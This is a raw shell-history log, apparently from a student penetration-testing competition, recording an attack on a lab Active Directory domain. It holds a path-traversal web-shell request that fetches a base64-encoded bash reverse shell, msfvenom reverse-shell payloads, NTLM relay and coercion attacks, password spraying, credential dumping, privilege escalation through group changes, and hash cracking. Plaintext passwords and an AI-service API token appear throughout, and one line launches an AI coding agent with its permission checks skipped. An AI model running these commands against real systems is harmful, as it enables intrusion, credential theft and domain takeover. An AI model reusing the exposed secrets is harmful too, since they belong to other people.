_raw: : 1768080225:0;curl 'http://10.0.1.13:8080/?route=../../../../tmp/shell&cmd=echo c2ggLWkgPiYgL2Rldi90Y3AvMTAuMC4yNTQuMjAzLzQ0NDQgMD4mMQo > /tmp/a; base64 -d /tmp/a > /tmp/b; bash -i /tmp/b'


_raw: : 1768080224:0;mysql -h 10.0.1.99 --ssl-verify-server-cert=false -u guest


_raw: : 1768080219:0;sed 's/pentester//g' AD-userlist.txt


_raw: : 1768080217:0;mysql -h 10.0.1.99 --ssl-verify-server-cert=false -u netadmin -p


_raw: : 1768080210:0;mysql -h 10.0.1.99 --ssl-verify-server-cert=false -u web -p


_raw: : 1768080210:0;sed 's/ai.svc//g' AD-userlist.txt


_raw: : 1768080209:0;./kerbrute userenum --dc 10.0.1.6 -d 'allports.local' statistically-likely-usernames/all_users.txt


_raw: : 1768080200:0;mysql -h 10.0.1.13 --ssl-verify-server-cert=false -u root -p


_raw: : 1768080193:0;nxc smb 10.0.1.6 -u ../stuff/users -p top_passwords_claude  --shares --continue-on-success


_raw: : 1768080150:0;nxc ldap 10.0.1.6 -u AD-userlist.txt -p pass


_raw: : 1768080145:0;mysql -h 10.0.1.13 --ssl-verify-server-cert=false -u root -p


_raw: : 1768080140:0;mysql -h 10.0.1.13 --ssl-verify-server-cert=false -u guest


_raw: : 1768080136:0;mysql -h 10.0.1.13 --ssl-verify-server-cert=false -u webadmin


_raw: : 1768080132:0;mysql -h 10.0.1.13 --ssl-verify-server-cert=false -u administrator


_raw: : 1768080128:0;mysql -h 10.0.1.13 --ssl-verify-server-cert=false -u sysadmin


_raw: : 1768080123:0;mysql -h 10.0.1.13 --ssl-verify-server-cert=false -u web


_raw:
#1768080122
ffuf -u http://10.0.1.11:8045/FUZZ -c -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt


_raw: : 1768080119:0;mysql -h 10.0.1.13 --ssl-verify-server-cert=false -u user


_raw: : 1768080115:0;mysql -h 10.0.1.13 --ssl-verify-server-cert=false -u netadmin


_raw: : 1768080098:0;pypykatz lsa minidump dump.dmp


_raw: : 1768080094:0;pypykatz lsa minidump .dmp


_raw: : 1768080088:0;mysql -h 10.0.1.13 --ssl-verify-server-cert=false -u test


_raw:
: 1768080086:0;curl -X POST "http://10.0.1.30:8096/Users/AuthenticateByName" \\
  -H "Content-Type: application/json" \\
  -H 'X-Emby-Authorization: MediaBrowser Client="test", Device="cli", DeviceId="test123", Version="1.0"' \\
  -d '{"Username":"jellyfin","Pw":"jellyfin"}'


_raw: : 1768080085:0;mysql -h 10.0.1.13 --ssl-verify-server-cert=false -u root


_raw:
: 1768080084:0;curl -X POST "http://10.0.1.30:8096/Users/AuthenticateByName" \\
  -H "Content-Type: application/json" \\
  -H 'X-Emby-Authorization: MediaBrowser Client="test", Device="cli", DeviceId="test123", Version="1.0"' \


_raw: : 1768080057:0;cat usernames.txt | wc -l


_raw: : 1768080050:0;git clone https://github.com/Ridter/noPac.git


_raw: : 1768080042:0;nxc smb 10.0.1.6 -u administrator -p Password123


_raw: : 1768079986:0;nxc smb 10.0.1.6 -u 'SVC_STABILIZE' -p '1gyroscope' -d allports.local -M coerce_plus -o LISTENER=10.0.254.202 METHOD=Petitpotam


_raw: : 1768079958:0;nxc smb 10.0.1.6 -u domain_admins.txt -p Password123!


_raw: : 1768079952:0;mysql -h 10.0.1.13 --ssl-verify-server-cert=false -u admin


_raw: : 1768079938:0;mysql -h 10.0.1.13 --ssl-verify-server-cert=false


_raw: : 1768079938:0;nxc smb 10.0.1.6 -u domain_admins.txt -p Password123


_raw: : 1768079920:0;wall "1v1 me in a game if i win i get DA creds"


_raw: : 1768079908:0;sudo impacket-ntlmrelayx -t smb://10.0.1.21 -smb2support -socks


_raw: : 1768079870:0;sudo impacket-ntlmrelayx -smb2support -t smb://10.0.1.20 --remove-mic -c


_raw: : 1768079852:0;mv cpp-pro.md ~/.claude/agents


_raw: : 1768079851:0;tar -czvf ballast_pentest_full_log.tar.gz '/home/pentester/ballast_pentest_full_log.txt' \


_raw: : 1768079836:0;git clone https://github.com/joe-desimone/mongobleed.git


_raw: : 1768079836:0;sudo impacket-ntlmrelayx -t smb://10.0.1.21 -smb2support -socks


_raw: : 1768079796:0;sudo apt install openjdk-21-jdk


_raw: : 1768079778:0;chromium --remote-debugging-port=4444 --disable-web-security --no-sandbox --user-data-dir=/tmp/ --remote-allow-origins=* http://10.0.254.205:8888/cdp-exploit.html


_raw: : 1768079756:0;sudo apt install openjdk-21-jre


_raw: : 1768079740:0;nxc smb 10.0.1.6 -u SVC_STABILIZE -p '1gyroscope' -d allports.local -M coerce_plus -o LISTENER=10.0.254.201 METHOD=Petitpotam\


_raw:
: 1768079699:0;git clone https://github.com/Adaptix-Framework/Extension-Kit\
cd Extension-Kit\
make


_raw: : 1768079696:0;chromium --remote-debugging-port=4444 --disable-web-security --no-sandbox --user-data-dir=/tmp/ --remote-allow-origins=* http://10.0.254.205:8888/cdp-exploit.html


_raw: : 1768079688:0;sudo impacket-ntlmrelayx -smb2support -t smb://10.0.1.20 -i --remove-mic


_raw: : 1768079678:0;sudo impacket-ntlmrelayx -smb2support -t smb://10.0.1.20 --delegate-access --remove-mic


_raw: : 1768079669:0;sudo impacket-ntlmrelayx -t smb://10.0.1.21 -smb2support -socks


_raw: : 1768079668:0;sudo impacket-ntlmrelayx -smb2support -t smb://10.0.1.6 --delegate-access --remove-mic


_raw: : 1768079666:0;chromium --remote-debugging-port=4444 --disable-web-security --no-sandbox --user-data-dir=/tmp/ --remote-allow-origins=* http://10.0.254.205:8888/cdp-exploit.html


_raw: : 1768079640:0;openssl x509 -in certificate.crt -text -noout


_raw: : 1768079632:0;chromium --remote-debugging-port=4444 --disable-web-security --no-sandbox --user-data-dir=/tmp/ --remote-allow-origins=* http://10.0.254.205:8888/cdp-exploit.html


_raw: : 1768079598:33;chromium --remote-debugging-port=4444 --disable-web-security --no-sandbox --user-data-dir=/tmp/ --remote-allow-origins=* http://10.0.254.205:8888/cdp-exploit.html


_raw: : 1768079585:0;sudo impacket-ntlmrelayx -smb2support -t ldap://10.0.1.6 --delegate-access --remove-mic


_raw: : 1768079569:0;sudo impacket-ntlmrelayx -smb2support -t ldaps://10.0.1.6 --delegate-access --remove-mic


_raw: : 1768079558:0;mv screennshot analysisll


_raw: : 1768079554:0;chromium --remote-debugging-port=4444 --disable-web-security --no-sandbox --user-data-dir=/tmp/ http://10.0.254.205:8888/cdp-exploit.html


_raw: : 1768079546:0;hashcat hashes -a 0 -m 0  rockyou.txt -r OneRuleToRuleThemAll.rule


_raw: : 1768079546:0;mv ~/Downloads/OneRuleToRuleThemAll.rule .


_raw: : 1768079546:0;hashcat hashes -a 0 -m 0  rockyou.txt


_raw: : 1768079546:0;hashcat hashes -a 0  rockyou.txt


_raw: : 1768079546:0;hashcat hashes -a 0 -w rockyou.txt


_raw: : 1768079546:0;hashcat hashes -w rockyou.txt


_raw: : 1768079546:0;curl -fsSL https://claude.ai/install.sh | bash


_raw: : 1768079546:0;john --wordlist=rockyou.txt hash --format=md5crypt-long


_raw: : 1768079546:0;john --wordlist=rockyou.txt hash


_raw: : 1768079546:0;mv ~/Downloads/rockyou.txt.gz .


_raw: : 1768079546:0;sudo gunzip /usr/share/wordlists/rockyou.txt.gz


_raw: : 1768079546:0;john hash -w /usr/share/wordlists/rockyou.txt.gz


_raw: : 1768079546:0;mysql -h 10.0.1.13 -u boatgps -p --ssl-verify-server-cert=false


_raw: : 1768079539:0;impacket-ntlmrelayx -t smb://10.0.1.21 -smb2support -socks


_raw: : 1768079525:0;strings diagnostic | grep asd


_raw: : 1768079516:0;strings ~/Downloads/diagnostic | grep '80'


_raw: : 1768079505:0;strings ~/Downloads/diagnostic | grep '/api'


_raw: : 1768079502:0;strings ~/Downloads/diagnostic| grep '/api'


_raw: : 1768079501:0;impacket-ntlmrelayx -t smb://10.0.1.20 -smb2support -socks


_raw: : 1768079460:0;chromium --remote-debugging-port=4444 --disable-web-security --no-sandbox --user-data-dir=/tmp/ http://10.0.254.205:8888/cdp-exploit.html


_raw: : 1768079458:0;impacket-psexec -k -no-pass -target-ip 10.0.1.20 -dc-ip 10.0.1.6 'allports.local/REDACTED_EMAIL'


_raw: : 1768079447:0;chromium --remote-debugging-port=4444 --disable-web-security --no-sandbox  http://10.0.254.205:8888/cdp-exploit.html


_raw: : 1768079435:0;strings diagnostic | grep route


_raw: : 1768079431:0;strings diagnostic | grep diagnostic


_raw: : 1768079430:0;chromium --remote-debugging-port=4444 --disable-web-security --no-sandbox --headless http://10.0.254.205:8888/cdp-exploit.html


_raw: : 1768079389:0;cat domain_admins.txt| wc -l


_raw: : 1768079382:0;chromium --remote-debugging-port=4444 --disable-web-security --no-sandbox http://10.0.254.205:8888/cdp-exploit.html


_raw: : 1768079376:0;impacket-secretsdump -k -no-pass 'allports.local/REDACTED_EMAIL'


_raw: : 1768079371:0;curl 'http://10.0.1.13:8080/?route=../../../../tmp/shell&cmd=echo%20c2ggLWkgPiYgL2Rldi90Y3AvMTAuMC4yNTQuMjAzLzQ0NDQgMD4mMQo%20%3E%20/tmp/a&&whoami' --output - | grep www


_raw: : 1768079371:0;impacket-secretsdump -k -no-pass 'allports.local/REDACTED_EMAIL'


_raw: : 1768079365:0;nikto -h https://admin.rooms.allports.tours/


_raw: : 1768079339:0;strings diagnostic | grep html


_raw: : 1768079320:0;python PetitPotam.py -u svc_stabilize -p 1gyroscope  10.0.254.201 10.0.1.20


_raw: : 1768079313:0;chromium --remote-debugging-port=4444 --no-sandbox http://10.0.254.205:8888/cdp-exploit.html


_raw: : 1768079312:0;sudo responder -I eth0 --lm


_raw: : 1768079303:0;chromium --remote-debugging-port=4444 --no-sandbox http://10.0.254.205/cdp-exploit.html


_raw: : 1768079291:0;nuclei -u https://admin.rooms.allports.tours/


_raw: : 1768079272:0;nxc ldap hosts.txt -u 'pentester' -p ')u1h55hm-h(M(7nV' -M laps


_raw: : 1768079269:0;nxc ldap hosts.txt -u 'pentester' -p ')u1h55hm-h(M(7nV' -M ldap


_raw: : 1768079261:0;chromium --remote-debugging-port=4444 --no-sandbox file:///home/pentester/sss/cdp-exploit.html\


_raw:
: 1768079258:0;curl -v http://10.0.1.13:8180/realms/gps/protocol/openid-connect/token \\
    -d "username=admin" \\
    -d "password=admin" \\
    -d "grant_type=password" \\
    -d "client_id=admin-cli"


_raw: : 1768079252:0;nxc ldap hosts.txt -u 'pentester' -p ')u1h55hm-h(M(7nV' -M badsuccessor


_raw: : 1768079246:0;nxc smb hosts.txt -u 'pentester' -p ')u1h55hm-h(M(7nV' -M badsuccessor


_raw:
#1768079242
ffuf -u http://10.0.1.99/FUZZ -c -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt


_raw: : 1768079231:0;nxc smb hosts.txt -u 'pentester' -p ')u1h55hm-h(M(7nV' -M zerologon


_raw: : 1768079216:0;nxc smb hosts.txt -u 'pentester' -p ')u1h55hm-h(M(7nV' -M nopac


_raw: : 1768079215:0;sudo impacket-ntlmrelayx -smb2support -t ldaps://10.0.1.20 --delegate-access --remove-mic


_raw: : 1768079210:0;nxc smb hosts.txt -u 'pentester' -p ')u1h55hm-h(M(7nV' -M ms17-010


_raw: : 1768079203:0;nxc ldap hosts.txt -u 'pentester' -p ')u1h55hm-h(M(7nV' -M ms17-010


_raw:
#1768079191
ffuf -u http://10.0.1.99/FUZZ -c -w /usr/share/wordlists/dirb/common.txt


_raw: : 1768079187:0;impacket-ntlmrelayx -t smb://10.0.1.21 -smb2support


_raw: : 1768079182:0;nxc ldap hosts.txt -u 'pentester' -p ')u1h55hm-h(M(7nV' -M get-desc-users


_raw: : 1768079166:0;nxc smb hosts.txt -u 'pentester' -p ')u1h55hm-h(M(7nV' -M get-desc-users


_raw: : 1768079125:0;nxc smb hosts.txt -u 'pentester' -p ')u1h55hm-h(M(7nV' --pass-pol


_raw: : 1768079121:0;sudo responder -I eth0 --lm


_raw: : 1768079117:0;impacket-ntlmrelayx -t smb://10.0.1.21 -smb2support


_raw: : 1768079087:0;nxc smb hosts.txt -u 'pentester' -p ')u1h55hm-h(M(7nV' -M gpp_password


_raw: : 1768079078:0;nxc smb hosts.txt -u 'pentester' -p ')u1h55hm-h(M(7nV' -M gpp_autologin


_raw: : 1768079060:0;nxc smb hosts.txt -u 'pentester' -p ')u1h55hm-h(M(7nV' --shares


_raw: : 1768079046:0;nxc smb hosts.txt -u 'pentester' -p ')u1h55hm-h(M(7nV'


_raw:
: 1768079044:0;ip tuntap add user root mode tun ligolo\
ip link set ligolo up


_raw: : 1768079038:0;nxc smb 10.0.1.6 -u SVC_STABILIZE -p '1gyroscope' -d allports.local -M coerce_plus -o LISTENER=10.0.254.201 METHOD=Petitpotam\


_raw: : 1768079034:0;sudo impacket-ntlmrelayx -t smb://10.0.1.21 -smb2support -socks


_raw: : 1768079021:0;sudo ip link delete ligolo


_raw: : 1768079012:0;sudo impacket-ntlmrelayx -smb2support -t ldap://10.0.1.6 --delegate-access --escalate-user ai.svc


_raw: : 1768078987:0;uv run coercer coerce -u 'ai.svc' -p 'uVI6OHJZ24u' -d 'apt.local' -l 10.0.254.204 -t 10.0.1.6 --filter-protocol-name MS-EFSR --filter-transport http


_raw:
: 1768078971:0;curl 'http://10.0.1.13:8080/api/export_csv.php' \\
  -X POST \\
  -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0' \\
  -H 'Accept: */*' \\
  -H 'Accept-Language: en-US,en;q=0.5' \\
  -H 'Accept-Encoding: gzip, deflate' \\
  -H 'Referer: http://10.0.1.13:8080/?route=navigation_log' \\
  -H 'Content-Type: application/json' \\
  -H 'Origin: http://10.0.1.13:8080' \\
  -H 'Connection: keep-alive' \\
  -H 'Priority: u=0' \\


_raw: : 1768078914:0;sudo gzip -d /usr/share/wordlists/rockyou.txt.gz


_raw: : 1768078899:0;chromium --remote-debugging-port=4444 --no-sandbox file:///home/pentester/sss/cdp-exploit.html


_raw: : 1768078805:0;ls -al /home/pentester/artifact.zip


_raw: : 1768078804:0;ls -al /home/pentester/artifact.zi


_raw: : 1768078785:0;sudo ifconfig ligolo down


_raw: : 1768078680:0;nxc smb 10.0.1.6 -u SVC_STABILIZE -p '1gyroscope' -d allports.local -M coerce_plus -o LISTENER=10.0.254.201 METHOD=Petitpotam\


_raw: : 1768078670:0;sudo impacket-ntlmrelayx -t ldap://10.0.1.6 --delegate-access -smb2support\


_raw: : 1768078656:0;zip -r artifactts.zip artifacts


_raw: : 1768078549:0;nxc ldap 10.0.1.6 -u AD-userlist.txt -p pass


_raw: : 1768078547:0;sudo impacket-ntlmrelayx -smb2support -t smb://10.1.0.20


_raw: : 1768078512:0;bloodhound-python -d allports.local -u pentester -p ')u1h55hm-h(M(7nV' -ns 10.0.1.6 -c ALL


_raw: : 1768078493:0;zip -r artifactts.zip artifacts


_raw: : 1768078475:0;sudo impacket-ntlmrelayx -smb2support -t smb://10.1.0.20


_raw: : 1768078446:0;cp participant_env/verbose-log/logs/* artifacts/.


_raw: : 1768078443:0;smbclient //10.0.1.6/NETLOGON -U svc_stabilize


_raw: : 1768078405:0;ldapsearch -x -H ldap://10.0.1.6 -D "REDACTED_EMAIL" -w '1gyroscope' -b "DC=allports,DC=local" "(dNSHostName=*tours*)"


_raw: : 1768078402:0;impacket-ntlmrelayx -t smb://10.0.1.20 -smb2support -socks


_raw: : 1768078388:0;ldapsearch -x -H ldap://10.0.1.6 -D "REDACTED_EMAIL" -w '1gyroscope' -b "DC=allports,DC=local" "(mail=*tours*)" sAMAccountName mail distinguishedName


_raw: : 1768078378:0;hashcat -m 5700 hash.txt /usr/share/wordlists/rockyou.txt


_raw: : 1768078378:0;bloodyAD -d allports.local -u SVC_STABILIZE -p '1gyroscope' --host 10.0.1.6 add user 'testrefresh' 'TestPass123!' --user-ou 'OU=Refreshments,OU=Departments,DC=allports,DC=local'


_raw: : 1768078374:0;smbclient //10.0.1.6/NETLOGON -u svc_stabilize


_raw: : 1768078369:0;ldapsearch -x -H ldap://10.0.1.6 -D "REDACTED_EMAIL" -w '1gyroscope' -b "OU=Refreshments,OU=Departments,DC=allports,DC=local" "(objectClass=group)" sAMAccountName member


_raw: : 1768078346:0;cp tools/logs/* artifacts/.


_raw: : 1768078343:0;ldapsearch -x -H ldap://10.0.1.6 -D "REDACTED_EMAIL" -w '1gyroscope' -b "OU=Refreshments,OU=Departments,DC=allports,DC=local" "(objectClass=computer)"


_raw: : 1768078343:0;nmap --script mysql-users --script-args="mysqluser='root',mysqlpass=''" -p 3306 10.0.1.13


_raw: : 1768078325:1;nxc ldap $ip -u $user -p  --users-export output.txt


_raw: : 1768078325:0;ldapsearch -x -H ldap://10.0.1.6 -D "REDACTED_EMAIL" -w '1gyroscope' -b "OU=Refreshments,OU=Departments,DC=allports,DC=local" "(objectClass=*)" distinguishedName objectClass sAMAccountName


_raw: : 1768078307:0;bloodyAD -d allports.local -u SVC_STABILIZE -p '1gyroscope' --host 10.0.1.6 set object 'ai.svc' title -v 'test'


_raw: : 1768078291:0;bloodyAD -d allports.local -u SVC_STABILIZE -p '1gyroscope' --host 10.0.1.6 set object 'ai.svc' description -v 'test'


_raw: : 1768078284:0;bloodyAD -d allports.local -u SVC_STABILIZE -p '1gyroscope' --host 10.0.1.6 add groupMember 'Server Operators' 'ai.svc'


_raw: : 1768078276:0;bloodyAD -d allports.local -u SVC_STABILIZE -p '1gyroscope' --host 10.0.1.6 add groupMember 'Remote Management Users' 'ai.svc'


_raw: : 1768078274:0;termshot -scf out.png -- "dacledit.py ALLPORTS.LOCAL/pentester:')u1h55hm-h(M(7nV' -target 'ESMITH' -principal 'AFLORES' -dc-ip 10.0.1.6 -action read"


_raw: : 1768078247:0;bloodyAD -d allports.local -u SVC_STABILIZE -p '1gyroscope' --host 10.0.1.6 get object 'OU=Refreshments,OU=Departments,DC=allports,DC=local' --attr nTSecurityDescriptor | grep -i "ai.svc\|1525"


_raw: : 1768078226:0;termshot -scf out.png -- "dacledit.py ALLPORTS.LOCAL/pentester:')u1h55hm-h(M(7nV' -target 'AFLORES' -principal 'CPHILLIPS2' -dc-ip 10.0.1.6 -action read"


_raw: : 1768078215:0;sudo ip link delete ligolo


_raw: : 1768078210:0;dacledit.py ALLPORTS.LOCAL/pentester:')u1h55hm-h(M(7nV' -target 'AFLORES' -principal 'CPHILLIPS2' -dc-ip 10.0.1.6 -action read\


_raw: : 1768078208:0;msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.0.254.204 LPORT=1234 -f elf -o reverse.elf


_raw: : 1768078208:0;sudo impacket-ntlmrelayx -smb2support -t ldap://10.0.1.20 --delegate-access --remove-mic


_raw: : 1768078208:0;sudo impacket-ntlmrelayx -t smb://10.0.1.20 -smb2support


_raw: : 1768078208:0;sudo impacket-ntlmrelayx -t smb://10.0.1.20 -smb2support --sam


_raw: : 1768078208:0;impacket-GetNPUsers -dc-ip 10.0.1.6 'allports.local/ai.svc:juVI6OHJZ24u' -request -format hashcat -outputfile asrep.txt\


_raw: : 1768078208:0;ssh -i /home/pentester/Downloads/id_ed25519 -o StrictHostKeyChecking=no root@10.0.1.99


_raw: : 1768078208:0;socat file:`tty`,raw,echo=0 tcp-listen:4444


_raw: : 1768078208:0;mv ballast_login_test.py ../ballast.py


_raw: : 1768078208:0;python3 ballast.py -u emails.txt -p 'IamTheCaptain2024'


_raw: : 1768078208:0;python3 ballast.py -u emails.txt -p 'IamtheCaptain'


_raw: : 1768078208:0;python3 ballast.py -u emails.txt -p 'IamTheCaptain'


_raw: : 1768078208:0;python3 ballast.py -u emails.txt -p 'Sails@way!2024'


_raw: : 1768078208:0;python3 ballast.py -u emails.txt -p 'Sails@way!'


_raw: : 1768078208:0;python3 ballast.py -u emails.txt -p '@nchor2026'


_raw: : 1768078208:0;python3 ballast.py -u emails.txt -p '@nchor2025'


_raw: : 1768078208:0;python3 ballast.py -u emails.txt -p 'letmein'


_raw: : 1768078208:0;python3 ballast_login_test.py -u ../emails.txt -p 'letmein'


_raw: : 1768078208:0;git clone REDACTED_EMAIL:nationalcptc-teamtools/cptc11-compliance-pod3.git


_raw: : 1768078208:0;git clone https://github.com/nationalcptc-teamtools/cptc11-compliance-pod3.git


_raw:
: 1768078208:0;echo "# cptc11-compliance-pod3" >> README.md\
git init\
git add README.md\
git commit -m "first commit"\
git branch -M main\
git remote add origin https://github.com/nationalcptc-teamtools/cptc11-compliance-pod3.git\
git push -u origin main


_raw: : 1768078208:0;nxc smb 10.0.1.0/24 -u administrator -p 'Sails@way!' --local-auth


_raw: : 1768078208:0;nxc smb 10.0.1.0/24 -u Downloads/usernames.txt -p 'Sails@way!'


_raw: : 1768078208:0;nxc smb 10.0.1.0/24 -u Downloads/usernames.txt -p Sails@way!


_raw: : 1768078208:0;nxc smb 10.0.1.0/24 -u Downloads/usernames.txt -p letmein


_raw: : 1768078208:0;nxc smb 10.0.1.0/24 -u Downloads/usernames.txt -p @nchor2024


_raw: : 1768078208:0;nxc ldap 10.0.1.6 -u 'guest' -p '' --kerberoasting output.txt


_raw: : 1768078208:0;nxc ldap 10.0.1.6 -u harry -p pass --kerberoasting output.txt


_raw: : 1768078208:0;netexec smb 10.0.1.6 --generate-krb5-file ~/krb5.conf


_raw: : 1768078208:0;nxc smb 10.0.1.0/24 --generate-hosts-file ~/hosts-file.txt


_raw: : 1768078208:0;curl -LsSf https://astral.sh/uv/install.sh | sh


_raw: : 1768078208:0;git clone https://github.com/p0dalirius/Coercer.git


_raw: : 1768078208:0;python3 PetitPotam.py -u 'user.one' -p 'Password1!' -d 'insecure.local' 10.0.1.6 10.0.254.204


_raw: : 1768078208:0;nxc smb 10.0.1.6 -u 'user.one' -p 'Password1!' -M remove-mic


_raw: : 1768078208:0;sudo impacket-ntlmrelayx -smb2support -t ldap://10.0.1.6 --delegate-access --remove-mic


_raw: : 1768078208:0;sudo impacket-ntlmrelayx -smb2support -t ldaps://10.0.1.6 --delegate-access --remove-mic


_raw: : 1768078208:0;uv run Downloads/printerbug.py


_raw: : 1768078208:0;impacket-rpcdump $TARGET | grep -A 6 "spoolsv"


_raw: : 1768078208:0;rpcdump.py $TARGET | grep -A 6 "spoolsv"


_raw: : 1768078208:0;git clone https://github.com/nationalcptc-teamtools/Stanford-university.git


_raw:
: 1768078208:0;echo 'export ANTHROPIC_AUTH_TOKEN="	\
sk-cptc-team6-key4-6f1a57be-dac3-4594-908d-6504eae67b29"' >> ~/.bashrc


_raw: : 1768078208:0;echo 'export ANTHROPIC_BASE_URL="https://ai.cyberrange.rit.edu"' >> ~/.bashrc


_raw: : 1768078208:0;curl -fsSL https://claude.ai/install.sh | bash


_raw:
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.0.254.204 LPORT=1234 -f elf -o reverse.elf
python3 -m http.server


_raw: : 1768078187:0;tar -xvzf ligolo-ng_proxy_0.8.2_linux_amd64.tar.gz


_raw: : 1768078179:0;coercer scan -t 10.0.1.6 -u 'ai.svc' -p 'juVI6OHJZ24u' -d allports.local -v


_raw: : 1768078156:0;mv ~/Downloads/ligolo-ng_proxy_0.8.2_linux_amd64.tar.gz .


_raw: : 1768078150:0;mv ~/Downloads/ligolo-ng_agent_0.8.2_linux_amd64.tar.gz .


_raw:
: 1768078142:0;claude --dangerously-skip-permissions
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.0.254.204 LPORT=1234 -f elf -o reverse.elf
python3 -m http.server


_raw: : 1768078136:0;nxc ldap apt-dc-01.allports.local -u pentester -p ')u1h55hm-h(M(7nV' -M daclread -o TARGET=aflores RIGHTS=FullControl


_raw: : 1768078130:0;nxc ldap apt-dc-01.allports.local -u pentester -p ')u1h55hm-h(M(7nV' -M daclread -o TARGET=cphillips2 PRINCIPAL=aflores


_raw: : 1768078129:0;coercer scan -t 10.0.1.6 -u 'ai.svc' -p 'juVI6OHJZ24u' -d allports.local -v


_raw: : 1768078124:1;sudo impacket-ntlmrelayx -smb2support -t ldap://10.0.1.20 --delegate-access --remove-mic


_raw: : 1768078117:0;nxc ldap apt-dc-01.allports.local -u pentester -p ')u1h55hm-h(M(7nV' -M daclread -o TARGET=cphillips2 RIGHTS=FullControl


_raw: : 1768078104:0;nxc ldap apt-dc-01.allports.local -u pentester -p ')u1h55hm-h(M(7nV' -M daclread -o TARGET=aflores RIGHTS=FullControl


_raw:
: 1768078080:0;ip tuntap add user root mode tun ligolo\
ip link set ligolo up


_raw: : 1768078080:0;sudo impacket-ntlmrelayx -smb2support -t ldap://10.0.1.20 --delegate-access --remove-mic


_raw: : 1768078075:0;sudo impacket-ntlmrelayx -t smb://10.0.1.20 -smb2support


_raw: : 1768078071:0;sudo impacket-ntlmrelayx -t smb://10.0.1.20 -smb2support --sam


_raw: : 1768078056:0;nxc ldap apt-dc-01.allports.local -u pentester -p ')u1h55hm-h(M(7nV' -M daclread -o TARGET=aflores PRINCIPAL=FullControl


_raw: : 1768078047:0;nxc ldap apt-dc-01.allports.local -u pentester -p ')u1h55hm-h(M(7nV' -M daclread -o TARGET=aflores PRINCIPAL=aflores


_raw: : 1768078036:0;sudo impacket-ntlmrelayx -smb2support -t ldap://10.0.1.20 --delegate-access --remove-mic


_raw: : 1768078026:0;nxc ldap apt-dc-01.allports.local -u pentester -p ')u1h55hm-h(M(7nV' -M daclread -o TARGET=aflores PRINCIPAL=aflores ACTION=read


_raw: : 1768078024:0;python3 PetitPotam.py -u svc_stabilize -p 1gyroscope 10.0.254.206 10.0.1.21


_raw: : 1768078011:0;nxc ldap apt-dc-01.allports.local -u pentester -p ')u1h55hm-h(M(7nV' -M daclread -o TARGET=aflores PRINCIPAL=aflores